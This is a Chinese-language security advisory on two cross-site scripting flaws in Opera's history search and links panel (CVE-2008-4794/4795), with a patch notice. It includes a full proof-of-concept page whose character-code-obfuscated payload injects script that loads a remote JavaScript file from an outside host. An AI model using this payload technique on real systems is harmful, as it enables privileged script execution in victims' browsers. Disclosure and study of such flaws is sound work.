安全研究
安全漏洞
Opera Web浏览器历史搜索及链接面板跨站脚本漏洞
发布日期：2008-10-30
更新日期：2008-10-31
受影响系统：
Opera Software Opera < 9.62不受影响系统：
Opera Software Opera 9.62描述：
BUGTRAQ ID: 31991
CVE(CAN) ID: CVE-2008-4795,CVE-2008-4794
Opera是一款流行的WEB浏览器，支持多种平台。
Opera的历史搜索没有正确地过滤某些用户提供参数，远程攻击者可以向历史搜索结构页面中注入恶意脚本，然后以提升的权限执行这些脚本并与Opera的配置交互。
链接面板可显示当前页面所有帧中的链接，包括JavaScript URL链接。当页面位于帧中的时候，就会在最外面的页面而不是URL所在的页面执行脚本。这可能导致以不相关帧的环境执行脚本。
<*来源：Aviv Raff （avivra@gmail.com）
链接：http://secunia.com/advisories/32452/
http://www.opera.com/support/search/view/906/
http://www.opera.com/support/search/view/907/
http://aviv.raffon.net/2008/10/30/AdifferentOpera.aspx
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
--Aviv.
http://aviv.raffon.net/2008/10/30/AdifferentOpera.aspx
-->
<html>
<script>
function x() {
window.open('opera:historysearch?q=%2A"><img src=\'x\' onerror=\'eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))\'>&p=1&s=1');
window.setTimeout("location.href='mailto:'",4000);
}
</script>
<body scrolling="no">
<a href="#" onclick="x()">Click me...</a>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<img src='x' onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))'>
</body>
</html>
建议：
厂商补丁：
Opera Software
--------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.opera.com
浏览次数：3015
严重程度：0（网友投票）
绿盟科技给您安全的保障